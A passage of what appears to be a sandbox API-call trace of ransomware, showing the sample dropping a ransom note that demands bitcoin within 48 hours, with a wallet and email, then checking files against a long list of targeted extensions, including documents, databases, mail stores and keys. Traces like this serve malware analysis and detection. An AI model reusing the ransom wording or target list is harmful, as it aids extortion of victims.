ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x1ef2c95d, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ef2c95d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.339] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0100.339] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0100.339] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd1fd1f, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe067905, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xdd1fd1f, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.resources.dll", cAlternateFileName="")) returned 1 [0100.339] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0100.339] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.resources.dll") returned -1 [0100.339] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.resources.dll") returned -1 [0100.339] lstrcmpiA (lpString1="", lpString2="Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.resources.dll") returned -1 [0100.339] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.Resources\\1.0.0.0_en_31bf3856ad364e35\\*.*") returned="*.*" [0100.339] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.Resources\\1.0.0.0_en_31bf3856ad364e35\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.Resources\\1.0.0.0_en_31bf3856ad364e35\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.Resources\\1.0.0.0_en_31bf3856ad364e35\\" [0100.339] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.Resources\\1.0.0.0_en_31bf3856ad364e35\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.Resources\\1.0.0.0_en_31bf3856ad364e35\\") returned="" [0100.339] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.Resources\\1.0.0.0_en_31bf3856ad364e35\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.Resources\\1.0.0.0_en_31bf3856ad364e35\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.Resources\\1.0.0.0_en_31bf3856ad364e35\\HOW TO DECRYPT FILES.txt" [0100.339] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.Resources\\1.0.0.0_en_31bf3856ad364e35\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\microsoft.windows.diagnosis.commands.writediagprogress.resources\\1.0.0.0_en_31bf3856ad364e35\\how to decrypt files.txt")) returned 0xffffffff [0100.339] CreateFileA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.Resources\\1.0.0.0_en_31bf3856ad364e35\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\microsoft.windows.diagnosis.commands.writediagprogress.resources\\1.0.0.0_en_31bf3856ad364e35\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0100.353] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0100.353] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0100.379] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0100.379] CloseHandle (hObject=0x90) returned 1 [0100.379] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.Resources\\1.0.0.0_en_31bf3856ad364e35\\", lpString2="Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.resources.dll" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.resources.dll") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.resources.dll" [0100.380] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.resources.dll", pszSpec="*.ems") returned 0 [0100.380] lstrlenA (lpString="*.ems") returned 5 [0100.380] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.resources.dll", pszSpec="*.db") returned 0 [0100.380] lstrlenA (lpString="*.db") returned 4 [0100.380] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.resources.dll", pszSpec="*.dbf") returned 0 [0100.380] lstrlenA (lpString="*.dbf") returned 5 [0100.380] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.resources.dll", pszSpec="*.myox") returned 0 [0100.380] lstrlenA (lpString="*.myox") returned 6 [0100.380] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.resources.dll", pszSpec="*.myo") returned 0 [0100.380] lstrlenA (lpString="*.myo") returned 5 [0100.380] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.resources.dll", pszSpec="*.qbw") returned 0 [0100.380] lstrlenA (lpString="*.qbw") returned 5 [0100.381] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.resources.dll", pszSpec="*.qbb") returned 0 [0100.381] lstrlenA (lpString="*.qbb") returned 5 [0100.381] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.resources.dll", pszSpec="*.qbm") returned 0 [0100.381] lstrlenA (lpString="*.qbm") returned 5 [0100.381] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.resources.dll", pszSpec="*.qbo") returned 0 [0100.381] lstrlenA (lpString="*.qbo") returned 5 [0100.381] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.resources.dll", pszSpec="*.qbx") returned 0 [0100.381] lstrlenA (lpString="*.qbx") returned 5 [0100.381] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.resources.dll", pszSpec="*.qba") returned 0 [0100.381] lstrlenA (lpString="*.qba") returned 5 [0100.381] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.resources.dll", pszSpec="*.qby") returned 0 [0100.381] lstrlenA (lpString="*.qby") returned 5 [0100.381] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.resources.dll", pszSpec="*.qbj") returned 0 [0100.381] lstrlenA (lpString="*.qbj") returned 5 [0100.381] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.resources.dll", pszSpec="*.ofx") returned 0 [0100.381] lstrlenA (lpString="*.ofx") returned 5 [0100.381] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.resources.dll", pszSpec="*.qif") returned 0 [0100.381] lstrlenA (lpString="*.qif") returned 5 [0100.382] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.resources.dll", pszSpec="*.mye") returned 0 [0100.382] lstrlenA (lpString="*.mye") returned 5 [0100.382] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.resources.dll", pszSpec="*.mbox") returned 0 [0100.382] lstrlenA (lpString="*.mbox") returned 6 [0100.382] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.resources.dll", pszSpec="*.eml") returned 0 [0100.382] lstrlenA (lpString="*.eml") returned 5 [0100.382] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.resources.dll", pszSpec="*.pst") returned 0 [0100.382] lstrlenA (lpString="*.pst") returned 5 [0100.382] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.resources.dll", pszSpec="*.ost") returned 0 [0100.382] lstrlenA (lpString="*.ost") returned 5 [0100.382] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.resources.dll", pszSpec="*.idx") returned 0 [0100.382] lstrlenA (lpString="*.idx") returned 5 [0100.382] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.resources.dll", pszSpec="*.dbx") returned 0 [0100.382] lstrlenA (lpString="*.dbx") returned 5 [0100.382] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.resources.dll", pszSpec="*.sql") returned 0 [0100.382] lstrlenA (lpString="*.sql") returned 5 [0100.382] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.resources.dll", pszSpec="*.mdb") returned 0 [0100.382] lstrlenA (lpString="*.mdb") returned 5 [0100.382] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.resources.dll", pszSpec="*.fdb") returned 0 [0100.382] lstrlenA (lpString="*.fdb") returned 5 [0100.383] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.resources.dll", pszSpec="*.wab") returned 0 [0100.383] lstrlenA (lpString="*.wab") returned 5 [0100.383] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.resources.dll", pszSpec="*.dat") returned 0 [0100.383] lstrlenA (lpString="*.dat") returned 5 [0100.383] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.resources.dll", pszSpec="*.txt") returned 0 [0100.383] lstrlenA (lpString="*.txt") returned 5 [0100.383] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.resources.dll", pszSpec="*.jpeg") returned 0 [0100.383] lstrlenA (lpString="*.jpeg") returned 6 [0100.383] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.resources.dll", pszSpec="*.jpg") returned 0 [0100.383] lstrlenA (lpString="*.jpg") returned 5 [0100.383] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.resources.dll", pszSpec="*.png") returned 0 [0100.383] lstrlenA (lpString="*.png") returned 5 [0100.383] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.resources.dll", pszSpec="*.php") returned 0 [0100.384] lstrlenA (lpString="*.php") returned 5 [0100.384] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.resources.dll", pszSpec="*.cs") returned 0 [0100.384] lstrlenA (lpString="*.cs") returned 4 [0100.384] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.resources.dll", pszSpec="*.cpp") returned 0 [0100.384] lstrlenA (lpString="*.cpp") returned 5 [0100.384] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.resources.dll", pszSpec="*.rar") returned 0 [0100.384] lstrlenA (lpString="*.rar") returned 5 [0100.384] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.resources.dll", pszSpec="*.zip") returned 0 [0100.384] lstrlenA (lpString="*.zip") returned 5 [0100.384] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.resources.dll", pszSpec="*.html") returned 0 [0100.384] lstrlenA (lpString="*.html") returned 6 [0100.384] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.resources.dll", pszSpec="*.htm") returned 0 [0100.384] lstrlenA (lpString="*.htm") returned 5 [0100.384] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.resources.dll", pszSpec="*.xlsx") returned 0 [0100.384] lstrlenA (lpString="*.xlsx") returned 6 [0100.384] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.resources.dll", pszSpec="*.xls") returned 0 [0100.384] lstrlenA (lpString="*.xls") returned 5 [0100.384] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.resources.dll", pszSpec="*.mp4") returned 0 [0100.384] lstrlenA (lpString="*.mp4") returned 5 [0100.385] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.resources.dll", pszSpec="*.ppt") returned 0 [0100.385] lstrlenA (lpString="*.ppt") returned 5 [0100.385] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.resources.dll", pszSpec="*.pptx") returned 0 [0100.385] lstrlenA (lpString="*.pptx") returned 6 [0100.385] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.resources.dll", pszSpec="*.doc") returned 0 [0100.385] lstrlenA (lpString="*.doc") returned 5 [0100.385] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.resources.dll", pszSpec="*.dot") returned 0 [0100.385] lstrlenA (lpString="*.dot") returned 5 [0100.385] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.resources.dll", pszSpec="*.docx") returned 0 [0100.385] lstrlenA (lpString="*.docx") returned 6 [0100.385] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.resources.dll", pszSpec="*.7z") returned 0 [0100.385] lstrlenA (lpString="*.7z") returned 4 [0100.385] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.resources.dll", pszSpec="*.tar") returned 0 [0100.385] lstrlenA (lpString="*.tar") returned 5 [0100.385] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.resources.dll", pszSpec="*.bz2") returned 0 [0100.385] lstrlenA (lpString="*.bz2") returned 5 [0100.385] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.resources.dll", pszSpec="*.gz") returned 0 [0100.385] lstrlenA (lpString="*.gz") returned 4 [0100.385] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.resources.dll", pszSpec="*.mkv") returned 0 [0100.385] lstrlenA (lpString="*.mkv") returned 5 [0100.385] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.resources.dll", pszSpec="*.eml") returned 0 [0100.385] lstrlenA (lpString="*.eml") returned 5 [0100.386] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.resources.dll", pszSpec="*.msg") returned 0 [0100.386] lstrlenA (lpString="*.msg") returned 5 [0100.386] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.resources.dll", pszSpec="*.edb") returned 0 [0100.386] lstrlenA (lpString="*.edb") returned 5 [0100.386] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.resources.dll", pszSpec="*.accdb") returned 0 [0100.386] lstrlenA (lpString="*.accdb") returned 7 [0100.386] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.resources.dll", pszSpec="*.odb") returned 0 [0100.386] lstrlenA (lpString="*.odb") returned 5 [0100.386] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.resources.dll", pszSpec="*.java") returned 0 [0100.386] lstrlenA (lpString="*.java") returned 6 [0100.386] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.resources.dll", pszSpec="*.asm") returned 0 [0100.386] lstrlenA (lpString="*.asm") returned 5 [0100.386] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.resources.dll", pszSpec="*.pfx") returned 0 [0100.386] lstrlenA (lpString="*.pfx") returned 5 [0100.386] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.resources.dll", pszSpec="*.pem") returned 0 [0100.386] lstrlenA (lpString="*.pem") returned 5 [0100.386] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.resources.dll", pszSpec="*.p12") returned 0 [0100.386] lstrlenA (lpString="*.p12") returned 5 [0100.386] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.resources.dll", pszSpec="*.gpg") returned 0 [0100.387] lstrlenA (lpString="*.gpg") returned 5 [0100.387] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.resources.dll", 